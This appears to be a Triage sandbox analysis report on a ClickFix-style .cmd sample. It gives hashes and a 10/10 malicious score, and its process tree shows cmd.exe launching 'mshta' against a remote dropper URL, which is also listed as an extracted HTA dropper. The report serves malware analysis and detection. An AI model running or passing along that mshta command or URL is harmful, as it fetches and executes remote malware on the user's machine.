cce2d5b74225ec28e7086642d1ce1a991d366ebdd293f4d5325134b9be31dc84 | Triage™

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/05/2026, 22:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ClickFix.cmd
Size 36B
Sample260522-2d11ysfw2p
SHA256 cce2d5b74225ec28e7086642d1ce1a991d366ebdd293f4d5325134b9be31dc84
MD5 bbf3d2aa7f7db0bdd6ff199b755f7066
SHA1 7f02a84377aef3246248e1a401767a27361dc582
SHA512 5114aa4086d78ef31330e12a6db44e50660d719139624e7384ea2f4e64d5f0a9656ae7721df1b1c0e344df8e49bb1ba94d500652559e9c37419678065f7affe9
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://zealpraxis.com/8761886

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3908	mshta.exe
6	3908	mshta.exe
9	3908	mshta.exe
35	3908	mshta.exe
57	3908	mshta.exe
58	3908	mshta.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 3908	4860	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ClickFix.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Windows\system32\mshta.exe
  mshta https://zealpraxis.com/8761886
  2⤵
  - Badlisted process makes network request
  PID:3908

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads